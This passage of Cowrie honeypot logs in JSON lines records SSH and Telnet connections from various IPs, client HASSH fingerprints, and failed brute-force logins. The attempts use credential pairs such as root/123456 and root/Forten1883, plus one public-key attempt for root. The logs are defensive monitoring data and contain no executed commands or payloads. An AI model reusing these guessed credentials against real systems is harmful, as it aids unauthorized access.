client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:10.480708Z","src_ip":"182.93.7.194","session":"241c06e8a812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42856,"dst_ip":"159.203.135.109","dst_port":23,"session":"36ea96d48351","protocol":"telnet","message":"New connection: 170.64.224.25:42856 (159.203.135.109:23) [session: 36ea96d48351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:11.302594Z"}
{"eventid":"cowrie.login.failed","username":"dirac","password":"123456","message":"login attempt [dirac/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:11.399487Z","src_ip":"182.93.7.194","session":"241c06e8a812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:12.622247Z","src_ip":"182.93.7.194","session":"241c06e8a812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":43424,"dst_ip":"10.17.0.5","dst_port":22,"session":"114b39a60857","protocol":"ssh","message":"New connection: 103.149.28.157:43424 (10.17.0.5:22) [session: 114b39a60857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:19.195734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:19.198942Z","src_ip":"103.149.28.157","session":"114b39a60857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:19.450880Z","src_ip":"103.149.28.157","session":"114b39a60857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:20.217297Z","src_ip":"103.149.28.157","session":"114b39a60857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:21.472749Z","src_ip":"103.149.28.157","session":"114b39a60857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39936,"dst_ip":"159.203.135.109","dst_port":23,"session":"6456e1a75d4b","protocol":"telnet","message":"New connection: 170.64.224.25:39936 (159.203.135.109:23) [session: 6456e1a75d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:25.818441Z"}
{"eventid":"cowrie.session.closed","duration":45.94896721839905,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:33.137522Z","src_ip":"170.64.224.25","session":"58a39387bdcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.21044301986694,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:02.015638Z","src_ip":"170.64.224.25","session":"ce8ceb64d033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.43338489532471,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:15.251684Z","src_ip":"170.64.224.25","session":"6456e1a75d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.02450060844421,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:24.326993Z","src_ip":"170.64.224.25","session":"36ea96d48351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":45586,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5a630341f01","protocol":"ssh","message":"New connection: 103.98.149.87:45586 (159.203.135.109:22) [session: a5a630341f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:30.039069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:30.043620Z","src_ip":"103.98.149.87","session":"a5a630341f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:30.264977Z","src_ip":"103.98.149.87","session":"a5a630341f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:30.943789Z","src_ip":"103.98.149.87","session":"a5a630341f01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:32.167260Z","src_ip":"103.98.149.87","session":"a5a630341f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":46518,"dst_ip":"10.17.0.5","dst_port":22,"session":"0306d59f0fd6","protocol":"ssh","message":"New connection: 99.252.20.159:46518 (10.17.0.5:22) [session: 0306d59f0fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:57.083331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:57.091209Z","src_ip":"99.252.20.159","session":"0306d59f0fd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:57.117307Z","src_ip":"99.252.20.159","session":"0306d59f0fd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"philippines","password":"Manila#Crypto@S3cur3","message":"login attempt [philippines/Manila#Crypto@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:57.231095Z","src_ip":"99.252.20.159","session":"0306d59f0fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:24:58.267071Z","src_ip":"99.252.20.159","session":"0306d59f0fd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":51764,"dst_ip":"10.17.0.5","dst_port":22,"session":"62c8c2fb78e5","protocol":"ssh","message":"New connection: 94.159.110.201:51764 (10.17.0.5:22) [session: 62c8c2fb78e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:02.685728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:02.690092Z","src_ip":"94.159.110.201","session":"62c8c2fb78e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:02.817542Z","src_ip":"94.159.110.201","session":"62c8c2fb78e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260891","message":"login attempt [root/260891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:03.174820Z","src_ip":"94.159.110.201","session":"62c8c2fb78e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":53214,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e023965c6c2","protocol":"ssh","message":"New connection: 162.254.35.142:53214 (159.203.135.109:22) [session: 0e023965c6c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:04.240899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:04.246566Z","src_ip":"162.254.35.142","session":"0e023965c6c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:04.300270Z","src_ip":"94.159.110.201","session":"62c8c2fb78e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:04.333577Z","src_ip":"162.254.35.142","session":"0e023965c6c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsalvador","password":"SanSalvador#Ethereum$P@ss","message":"login attempt [elsalvador/SanSalvador#Ethereum$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:04.555972Z","src_ip":"162.254.35.142","session":"0e023965c6c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:05.628722Z","src_ip":"162.254.35.142","session":"0e023965c6c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":57360,"dst_ip":"159.203.135.109","dst_port":22,"session":"96292a91fe65","protocol":"ssh","message":"New connection: 159.65.58.200:57360 (159.203.135.109:22) [session: 96292a91fe65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:32.594465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:32.805303Z","src_ip":"159.65.58.200","session":"96292a91fe65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:32.808111Z","src_ip":"159.65.58.200","session":"96292a91fe65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solomin","password":"123456","message":"login attempt [solomin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:33.929332Z","src_ip":"159.65.58.200","session":"96292a91fe65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:35.301929Z","src_ip":"159.65.58.200","session":"96292a91fe65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.181.112.131","src_port":39724,"dst_ip":"10.17.0.5","dst_port":22,"session":"617299026525","protocol":"ssh","message":"New connection: 65.181.112.131:39724 (10.17.0.5:22) [session: 617299026525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.333460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.339214Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.382925Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:2b:a0:ba:f6:27:5f:68:6f:02:af:d8:00:7f:87:3e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK9HYF0ORuXE9jusHpmiBrd2OZ6BI0C17Tdp4DrqQBU5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ba:2b:a0:ba:f6:27:5f:68:6f:02:af:d8:00:7f:87:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.566654Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:2b:a0:ba:f6:27:5f:68:6f:02:af:d8:00:7f:87:3e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK9HYF0ORuXE9jusHpmiBrd2OZ6BI0C17Tdp4DrqQBU5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.569975Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
